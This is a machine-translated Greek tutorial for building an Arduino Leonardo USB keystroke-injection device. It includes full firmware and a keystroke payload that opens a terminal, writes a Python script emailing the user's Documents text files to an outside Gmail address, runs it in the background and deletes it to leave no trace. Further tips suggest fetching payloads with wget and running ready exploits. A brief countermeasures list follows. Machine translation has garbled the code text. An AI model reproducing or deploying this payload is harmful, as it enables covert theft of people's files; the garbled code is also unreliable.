Πίνακας περιεχομένων:

Arduino Keyboard Exploit Demo (HID) and Prevention: 4 βήματα (με εικόνες)
Arduino Keyboard Exploit Demo (HID) and Prevention: 4 βήματα (με εικόνες)

Βίντεο: Arduino Keyboard Exploit Demo (HID) and Prevention: 4 βήματα (με εικόνες)

Βίντεο: Arduino Keyboard Exploit Demo (HID) and Prevention: 4 βήματα (με εικόνες)
Βίντεο: Web Programming - Computer Science for Business Leaders 2016 2024, Δεκέμβριος
Anonim
Image
Image
Δημιουργία της συσκευής
Δημιουργία της συσκευής

Σε αυτό το έργο θα χρησιμοποιήσουμε ένα arduino leonardo για να προσομοιώσουμε μια πιθανή επίθεση USB χρησιμοποιώντας το HID (humain interface device).

Δημιούργησα αυτό το σεμινάριο όχι για να βοηθήσω τους χάκερ, αλλά για να σας δείξω μερικούς πραγματικούς κινδύνους και πώς να προστατεύσετε τον εαυτό σας από αυτούς τους κινδύνους. Αυτή η συσκευή δεν είναι μια συσκευή που μπορεί να χρησιμοποιηθεί σε οποιαδήποτε πλατφόρμα για χάκερ, είναι περισσότερο μια απόδειξη της ιδέας με λεπτομέρειες.

Θα μάθουμε τα εξής:

- πώς να χρησιμοποιήσετε το arduino leonardo για να μιμηθείτε το πληκτρολόγιο

- πώς να διαβάζετε δεδομένα από κάρτες SD

- πώς να δημιουργήσετε ένα σενάριο python που σαρώνει αρχεία και τους στέλνει μηνύματα ηλεκτρονικού ταχυδρομείου

- πώς να προστατεύσετε τον εαυτό σας από συσκευές hacking USB

Βήμα 1: Υλικά

Μέρη:

1. Arduino leonardo

2. αναγνώστη καρτών micro USB

3. λίγες κάρτες SD GB

4. κουμπί όπως αυτό (VCC, Ground και σήμα)

5. καλώδια θηλυκού-αρσενικού και θηλυκού-θηλυκού άλτη

6. Καλώδιο micro USB σε USB

Βήμα 2: Δημιουργία της συσκευής

Δημιουργία της συσκευής
Δημιουργία της συσκευής

Πριν από τις οδηγίες κατασκευής ας αναθεωρήσουμε την αρχή λειτουργίας:

Το Arduino leonardo μπορεί να συμπεριφέρεται σαν συσκευή διεπαφής ανθρώπου (HID) και ως εκ τούτου μπορεί να μιμηθεί το ποντίκι και το πληκτρολόγιο. Θα χρησιμοποιήσουμε αυτήν τη δυνατότητα για να ανοίξουμε ένα τερματικό (στο UBUNTU linux) και να γράψουμε ένα μικρό σενάριο που θα έχει πρόσβαση στο φάκελο /Documents μέσα στον αρχικό φάκελο του χρήστη, αντιγράφει αρχεία.txt εκεί και τα στέλνει με email σε κάποιον. Αν θέλετε να μάθετε περισσότερες λεπτομέρειες, ελέγξτε το επόμενο βήμα.

Επειδή είναι μια συσκευή επίδειξης τα πράγματα είναι πραγματικά απλά, δεν πρόκειται να κολλήσουμε τίποτα.

Οδηγίες κατασκευής

Πριν αρχίσουμε να ελέγχουμε τα συνημμένα αρχεία, έχω επισυνάψει σχηματικά σχήματα και όλα τα απαραίτητα αρχεία

1. Συναρμολογήστε τα εξαρτήματα:

* συνδέστε το καλώδιο micro USB στο arduino

* συνδέστε το διακόπτη κλειδιού στο arduino (μονάδα γείωσης, vcc και εξόδου στο D8)

* συνδέστε τον αναγνώστη καρτών στο arduino (χρησιμοποιώντας κεφαλίδα ICSP). Το Arduino leonardo δεν έχει την κεφαλίδα ICSP συνδεδεμένη με ψηφιακές ακίδες, οπότε θα πρέπει να συνδέσετε την συσκευή ανάγνωσης καρτών στην κεφαλίδα ICSP. Μπορείτε να βρείτε μερικά σχέδια του ICSP εδώ: https://learn.sparkfun.com/tutorials/installing-an…. Συνδέστε την καρφίτσα SS στην ψηφιακή ακίδα 10

2

#include "Keyboard.h"

#include "SPI.h" #include "SD.h" String filenameOnCard = "hack.txt"; String sleepCommandStartingPoint = "Sleep::"; String commandStartingPoint = "Command::"; int delayBetweenCommands = 10; const int buttonPin = 8; const int chipSelect = 10; int previousButtonState = HIGH; void setup () {pinMode (buttonPin, INPUT); Serial.begin (9600); Keyboard.begin (); εάν (! SD.begin (chipSelect)) {Serial.println ("Η κάρτα απέτυχε ή δεν υπάρχει!"); ΕΠΙΣΤΡΟΦΗ; }} void loop () {int buttonState = digitalRead (buttonPin); εάν ((buttonState! = previousButtonState) && (buttonState == HIGH)) {sdFileToKeyboard (); Serial.println ("Ανέβηκε!"); καθυστέρηση (500)? } previousButtonState = buttonState; } void sdFileToKeyboard () {File dataFile = SD.open (filenameOnCard); if (! dataFile) {Serial.println ("Το καθορισμένο όνομα αρχείου δεν υπάρχει στην κάρτα SD, ελέγξτε filenameOnCard!"); } Γραμμή συμβολοσειράς. while (dataFile.available ()) {line = dataFile.readStringUntil ('\ n'); Serial.println (γραμμή); sendToKeyboard (γραμμή); } dataFile.close (); } void sendToKeyboard (Γραμμή συμβολοσειράς) {String workingLine = line; if (workingLine.indexOf (sleepCommandStartingPoint)! = -1) {sleepFor (γραμμή); ΕΠΙΣΤΡΟΦΗ; } if (workingLine.indexOf (commandStartingPoint) == -1) {Serial.print ("Text:"); Serial.println (line); Keyboard.println (γραμμή); πατήστε Enter(); ΕΠΙΣΤΡΟΦΗ; } Serial.println ("Command:"); int charPosition = commandStartingPoint.length (); int lineLength = line.length (); workingLine += ","; while (workingLine! = "") {workingLine = workingLine.substring (charPosition); Serial.print ("WorkingLine:"); Serial.println (workingLine); int specialCommandDelimiterPosition = workingLine.indexOf (","); Εντολή συμβολοσειράς = workingLine.substring (0, specialCommandDelimiterPosition); charPosition = specialCommandDelimiterPosition + 1; if (command! = "") {Serial.print ("εντολή βρέθηκε:"); Serial.println (εντολή); Keyboard.press (getCommandCode (εντολή)); καθυστέρηση (delayBetweenCommands)? }} Keyboard.releaseAll (); καθυστέρηση (delayBetweenCommands)? } void pressEnter () {Keyboard.press (KEY_RETURN); Keyboard.releaseAll (); } void sleepFor (Γραμμή συμβολοσειράς) {int sleepAmount = line.substring (sleepCommandStartingPoint.length (), line.length ()). toInt (); Serial.print ("Sleeping for:"); Serial.println (sleepAmount); καθυστέρηση (sleepAmount)? } char getCommandCode (String text) {char textCharacters [2]; text.toCharArray (textCharacters, 2); char code = textCharacters [0]; κωδικός = (κείμενο == "KEY_LEFT_CTRL"); KEY_LEFT_CTRL: κωδικός; κωδικός = (κείμενο == "KEY_LEFT_SHIFT"); KEY_LEFT_SHIFT: κωδικός; κωδικός = (κείμενο == "KEY_LEFT_ALT"); KEY_LEFT_ALT: κωδικός; κωδικός = (κείμενο == "KEY_UP_ARROW"); KEY_UP_ARROW: κωδικός; κωδικός = (κείμενο == "KEY_DOWN_ARROW"); KEY_DOWN_ARROW: κωδικός; κωδικός = (κείμενο == "KEY_LEFT_ARROW"); KEY_LEFT_ARROW: κωδικός; κωδικός = (κείμενο == "KEY_RIGHT_ARROW"); KEY_RIGHT_ARROW: κωδικός; κωδικός = (κείμενο == "KEY_RIGHT_GUI"); KEY_RIGHT_GUI: κωδικός; κωδικός = (κείμενο == "KEY_BACKSPACE"); KEY_BACKSPACE: κωδικός; κωδικός = (κείμενο == "KEY_TAB"); KEY_TAB: κωδικός κωδικός = (κείμενο == "KEY_RETURN"); KEY_RETURN: κωδικός κωδικός = (κείμενο == "KEY_ESC"); KEY_ESC: κωδικός κωδικός = (κείμενο == "KEY_INSERT"); KEY_INSERT: κωδικός; κωδικός = (κείμενο == "KEY_DELETE"); KEY_DELETE: κωδικός; κωδικός = (κείμενο == "KEY_PAGE_UP"); KEY_PAGE_UP: κωδικός; κωδικός = (κείμενο == "KEY_PAGE_DOWN"); KEY_PAGE_DOWN: κωδικός κωδικός = (κείμενο == "KEY_HOME"); KEY_HOME: κωδικός; κωδικός = (κείμενο == "KEY_END"); KEY_END: κωδικός; κωδικός = (κείμενο == "KEY_CAPS_LOCK"); KEY_CAPS_LOCK: κωδικός κωδικός = (κείμενο == "KEY_F1"); KEY_F1: κωδικός κωδικός = (κείμενο == "KEY_F2"); KEY_F2: κωδικός; κωδικός = (κείμενο == "KEY_F3"); KEY_F3: κωδικός; κωδικός = (κείμενο == "KEY_F4"); KEY_F4: κωδικός; κωδικός = (κείμενο == "KEY_F5"); KEY_F5: κωδικός; κωδικός = (κείμενο == "KEY_F6"); KEY_F6: κωδικός; κωδικός = (κείμενο == "KEY_F7"); KEY_F7: κωδικός; κωδικός = (κείμενο == "KEY_F8"); KEY_F8: κωδικός; κωδικός = (κείμενο == "KEY_F9"); KEY_F9: κωδικός; κωδικός = (κείμενο == "KEY_F10"); KEY_F10: κωδικός; κωδικός = (κείμενο == "KEY_F11"); KEY_F1: κωδικός κωδικός = (κείμενο == "KEY_F12"); KEY_F2: κωδικός;

κωδικός επιστροφής?

}

3. Ανεβάστε τον κωδικό στο arduino, φροντίστε να επιλέξετε 9600 baud rate, τη σειριακή θύρα και το arduino leonardo

4. Διαμορφώστε την κάρτα sd χρησιμοποιώντας FAT16 ή FAT32

5. Εάν έχετε κλωνοποιήσει το repo του github από πάνω, αντιγράψτε το αρχείο hack.txt στην κάρτα, αν όχι το αρχείο παρατίθεται παρακάτω:

Εντολή:: KEY_LEFT_CTRL, KEY_LEFT_ALT, tSleep:: 500 vi hack.py Sleep:: 300 Command:: KEY_INSERT import smtplib import glob, os from os.path import expanduser from email. MIMEMultipart import MIMEMultipart from email. MIMEBase import MIMEBase from email MIMEText εισαγωγή MIMEText από email. Χρήση εισαγωγής COMMASPACE, μορφοποίηση ημερομηνίας από κωδικοποιητές εισαγωγής email

smtp_user = 'sender_gmail_address'

smtp_pass = 'sender_gmail_password' to_address = 'receiver_address' scan_documents_location = 'Documents'

subject = body = 'Αρχεία από χακαρισμένο υπολογιστή'

κεφαλίδα = 'Προς: {0} nΑπό: {1} nΜέγεθος: {2} n'.format (to_address, smtp_user, subject)

def sendMail (προς, θέμα, κείμενο, αρχεία = ):

msg = MIMEMultipart () msg ['From'] = smtp_user msg ['To'] = COMMASPACE.join (to) msg ['Date'] = formatdate (localtime = True) msg ['Subject'] = subject msg.attach (MIMEText (κείμενο)) για αρχείο σε αρχεία: part = MIMEBase ("application", "octet-stream") part.set_payload (open (file, "rb"). Read ()) Encoders.encode_base64 (part) part. add_header ('Content-Disposition', 'attachment; filename = " % s"' % os.path.basename (file)) msg.attach (part)

διακομιστής = smtplib. SMTP ('smtp.gmail.com:587')

server.starttls () server.login (smtp_user, smtp_pass) server.sendmail (smtp_user, προς, msg.as_string ()) server.quit ()

sendMail ([to_address], subject, body, glob.glob ("{0}/{1}/*. txt".format (expanduser ("~"), scan_documents_location)))

Sleep:: 50 Command:: KEY_ESC Sleep:: 100: x Sleep:: 500 nohup python hack.py & Sleep:: 700 rm -rf hack.py Sleep:: 400 Command:: KEY_LEFT_ALT, KEY_F4

6. Επεξεργαστείτε τις ακόλουθες γραμμές:

smtp_user = 'sender_email_addr'

smtp_pass = 'sender_password' to_address = 'receiver_address'

Και αντικαταστήστε με τις διευθύνσεις email σας

7. Αφαιρέστε την κάρτα και τοποθετήστε την στον αναγνώστη καρτών arduino

Βήμα 3: Πώς λειτουργεί στις λεπτομέρειες

Πώς θα λειτουργήσει η επίθεση:

1. Όταν πατηθεί το κουμπί, ο leonardo θα διαβάσει την κάρτα sd χρησιμοποιώντας έναν αναγνώστη καρτών sd. Ένα ειδικό αρχείο που περιέχει κλειδιά και συνδυασμό πλήκτρων θα υπάρχει στην κάρτα. Το όνομα του αρχείου είναι "hack.txt".

Το αρχείο μπορεί να περιέχει ακατέργαστο κείμενο και θα περάσει στο πληκτρολόγιο όπως ακριβώς είναι.

Επίσης μπορεί να περιέχει ειδικές εντολές όπως "Sleep::" και "Command::".

Μια γραμμή όπως:

Sleep:: 200 σημαίνει ύπνο 200 ms

Μια γραμμή όπως:

Εντολή:: KEY_LEFT_CTRL, KEY_LEFT_ALT, t σημαίνει αριστερό ctrl πατημένο, αριστερό alt πατημένο, t πατημένο και όλα απελευθερωμένα

Μπορείτε να ελέγξετε όλα τα ειδικά κλειδιά εδώ:

2. Ο Λεονάρντο θα διαβάζει γραμμή προς γραμμή και θα ερμηνεύει τις εντολές και θα μιμείται τα πλήκτρα στο πληκτρολόγιο. Το αρχείο "hack.txt" περιέχει έναν συνδυασμό κλειδιών που κάνει τα εξής (για UBUNTU linux):

ένα. ανοίγει ένα τερματικό (CTRL + ALT + T)

σι. ανοίγει ένα αρχείο python για δημιουργία χρησιμοποιώντας vi (γράφει "vi hack.py"

ντο. γράφει ένα σενάριο python μέσα που συλλέγει όλα τα αρχεία κειμένου μέσα στον αρχικό φάκελο εγγράφων και τα στέλνει σε μια καθορισμένη διεύθυνση gmail

ρε. τρέχει το αρχείο στο παρασκήνιο ("nohup python hack.py &")

μι. διαγράφει το αρχείο (rm -rf hack.py)

φά. κλείνει το τερματικό (ALT + F4)

Όλο αυτό το πράγμα τρέχει σε λίγα δευτερόλεπτα και δεν αφήνει ίχνη.

Βελτιώσεις και αντιμετώπιση προβλημάτων

* Mayσως παρατηρήσατε ότι αφού ανοίξω ένα τερματικό γράφω το αρχείο python. ένας καλύτερος τρόπος για να το κάνετε είναι να το φιλοξενήσετε κάπου και να το κατεβάσετε χρησιμοποιώντας την εντολή "wget some_url" και, στη συνέχεια, να το μετονομάσετε σε hack.py

* Επίσης μπορούμε να κατεβάσουμε ή να τρέξουμε ένα έτοιμο exploit για το στοχευμένο λειτουργικό σύστημα

* wifi μπορεί να προστεθεί στη μονάδα και οι αμυχές μπορούν να μεταφορτωθούν μέσω WIFI

* μπορείτε να χρησιμοποιήσετε το arduino micro (το οποίο είναι πολύ μικρότερο) και να ενσωματώσετε κώδικα εκμετάλλευσης σε αυτό (για να το κάνετε μικρότερο)

Περιορισμοί

1. Επειδή η προσομοιωμένη συσκευή (πληκτρολόγιο και ποντίκι) δεν έχει κανένα feedback δεν ξέρουμε τι θα συμβεί μετά την έκδοση μιας εντολής που σημαίνει ότι πρέπει να χρησιμοποιήσουμε καθυστερήσεις. Για παράδειγμα, εκδίδω μια εντολή για το άνοιγμα του τερματικού, αλλά δεν ξέρω πότε θα είναι πραγματικά ανοιχτό, οπότε πρέπει να καθορίσω μια αυθαίρετη καθυστέρηση για να διασφαλίσω ότι οι χαρακτήρες που πληκτρολογήσατε μετά δεν θα χαθούν.

2. Ενδέχεται να αντιμετωπίσουμε προβλήματα άδειας, όπως η μη πρόσβαση στη θύρα USB ή η άδεια εγκατάστασης

3. Η ταχύτητα πληκτρολόγησης δεν είναι τόσο μεγάλη για τον Λεονάρντο

4. Θα λειτουργεί μόνο στοχευμένο λειτουργικό σύστημα (στην περίπτωσή μας UBUNTU linux)

Στο επόμενο βήμα θα προσπαθήσουμε να βρούμε τρόπους να εκμεταλλευτούμε αυτούς τους περιορισμούς για να αποτρέψουμε τον hacking του υπολογιστή μας

Βήμα 4: Αντίμετρα

1. Απενεργοποίηση θυρών USB

-για τα παράθυρα μπορείτε να ελέγξετε αυτό το σεμινάριο:

2. Συσκευές USB λευκής λίστας:

- για Windows:

2. Κλειδώστε τον υπολογιστή σας όταν δεν είστε μακριά

3. Μην συνδεθείτε ως root (απαιτούνται κωδικοί πρόσβασης για την εγκατάσταση οτιδήποτε)

4. Κρατήστε τον εαυτό σας ενημερωμένο (αυτόματες ενημερώσεις ενεργοποιημένες)

Συνιστάται: